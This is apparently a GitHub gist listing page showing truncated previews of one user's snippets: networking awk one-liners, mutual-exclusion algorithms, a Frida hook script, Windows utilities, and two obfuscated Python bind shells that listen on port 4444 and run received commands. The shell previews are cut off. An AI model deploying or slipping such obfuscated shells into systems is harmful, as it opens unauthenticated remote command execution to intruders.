Skip to content

Instantly share code, notes, and snippets.

@n3k
n3k / awk_netstat.sh
Created June 16, 2021 21:13 — forked from staaldraad/awk_netstat.sh
AWK to get details from /proc/net/tcp and /proc/net/udp when netstat and lsof are not available
# Gawk version
# Remote
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($3,index($3,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($3,i,2))}{print x":"strtonum("0x"substr($3,index($3,":")+1,4))}'
# Local
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'
# No Gawk
# Local
grep -v "rem_address" /proc/net/tcp | awk 'function hextodec(str,ret,n,i,k,c){
@n3k
n3k / bindshelloneline.py
Created December 13, 2020 04:14
Python Bind Shell One Line
base64=__import__(chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52));exec(base64.b64decode('c29ja2V0PV9faW1wb3J0X18oY2hyKDExNSkrY2hyKDExMSkrY2hyKDk5KStjaHIoMTA3KStjaHIoMTAxKStjaHIoMTE2KSk7DQpzdWJwcm9jZXNzPV9faW1wb3J0X18oY2hyKDExNSkrY2hyKDExNykrY2hyKDk4KStjaHIoMTEyKStjaHIoMTE0KStjaHIoMTExKStjaHIoOTkpK2NocigxMDEpK2NocigxMTUpK2NocigxMTUpKTsNCm9zPV9faW1wb3J0X18oY2hyKDExMSkrY2hyKDExNSkpOw0Kcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7DQpzLmJpbmQoKHN0cigwKStzdHIoY2hyKDQ2KSkrc3RyKDApK3N0cihjaHIoNDYpKStzdHIoMCkrc3RyKGNocig0NikpK3N0cigwKSw0NDQ0KSk7DQpzLmxpc3RlbigxKTsNCmMsYT1zLmFjY2VwdCgpOw0KY29tbWFuZD1bXQ0Kd2hpbGUoVHJ1ZSk6ICAgIA0KICAgIGNtZHA9Yy5yZWN2KDEwMCkNCiAgICBpZihjbWRwPT0nXHJcbicpOg0KICAgICAgICBjbWRmPSIiLmpvaW4oY29tbWFuZCkNCiAgICAgICAgaWYoY21kZi5zcGxpdCgpWzBdPT0iY2QiKToNCiAgICAgICAgICAgIHRyeToNCiAgICAgICAgICAgICAgICBwcmludChjbWRmKQ0KICAgICAgICAgICAgICAgIGRlc3Q9Y21kZi5zcGxpdCgpWzFdICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIG9zLmNoZGlyKGRlc3QpDQogICAgICAgICAgICBleGNlcHQ6cGFzcw0KICAgICAgICAg
@n3k
n3k / bindshellpy.py
Created December 13, 2020 03:48
Python Bind Shell
socket=__import__(chr(115)+chr(111)+chr(99)+chr(107)+chr(101)+chr(116));
subprocess=__import__(chr(115)+chr(117)+chr(98)+chr(112)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115));
os=__import__(chr(111)+chr(115));
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.bind((str(0)+str(chr(46))+str(0)+str(chr(46))+str(0)+str(chr(46))+str(0),4444));
s.listen(1);
c,a=s.accept();
command=[]
while(True):
cmdp=c.recv(100)
@n3k
n3k / FilterLockAlg.cpp
Created November 15, 2020 02:42
Example of a Filter Lock algorithm
#include <iostream>
#include <algorithm>
#include <windows.h>
#define N_THREADS 5
// Holds the current level of each thread
int g_level[N_THREADS];
int g_victim[N_THREADS];
@n3k
n3k / BakeryAlg.cpp
Created November 15, 2020 02:34
Example of a bakery algorithm (no atomics)
#include <iostream>
#include <algorithm>
#include <windows.h>
#define N_THREADS 5
int g_num[N_THREADS];
BYTE g_choosing[N_THREADS];
void lock(int pid) {
package example.xx;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.security.cert.CertificateException;
import java.util.Map;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.SSLContext;
@n3k
n3k / HookInvokationAndExecuteParentMethod.js
Created August 14, 2020 09:10
An example of a frida script to hook a method and execute the implementation of a parent method (generateKeyPair), via Java.cast()
setTimeout(function() {
Java.perform(function() {
var className = "com.example.wlclient.auth.XLAuthorizationManagerInternal";
var instance = Java.use(className);
instance.invokeTokenRequest.implementation = function (a, b, c) {
console.log("[*] onEnter invokeTokenRequest...");
var XLOAuthCertManager = Java.use("com.example.common.security.XLOAuthCertManager");
var XLCertManager = Java.use("com.example.common.security.XLCertManager");
// ThreadPrimes.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <stdio.h>
#include <intrin.h>
#include <math.h>
#include <windows.h>
#define BLOCK 1000
#include <iostream>
#include <Windows.h>
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <pid>", argv[0]);
return 0;
}
std::cout << "Attempt to control the CPU Rate of target process...\n";
@n3k
n3k / copy_in_chunks.py
Created January 6, 2019 07:44
copy files in chunks
import os
import sys
g_step = 1024*1024
source_file = sys.argv[1]
source_size = os.path.getsize(source_file)
target_file = sys.argv[2]
skip = int(sys.argv[3])
bytes_remaining = source_size - skip
print("Source Size: %.02f" % (source_size / float(g_step)))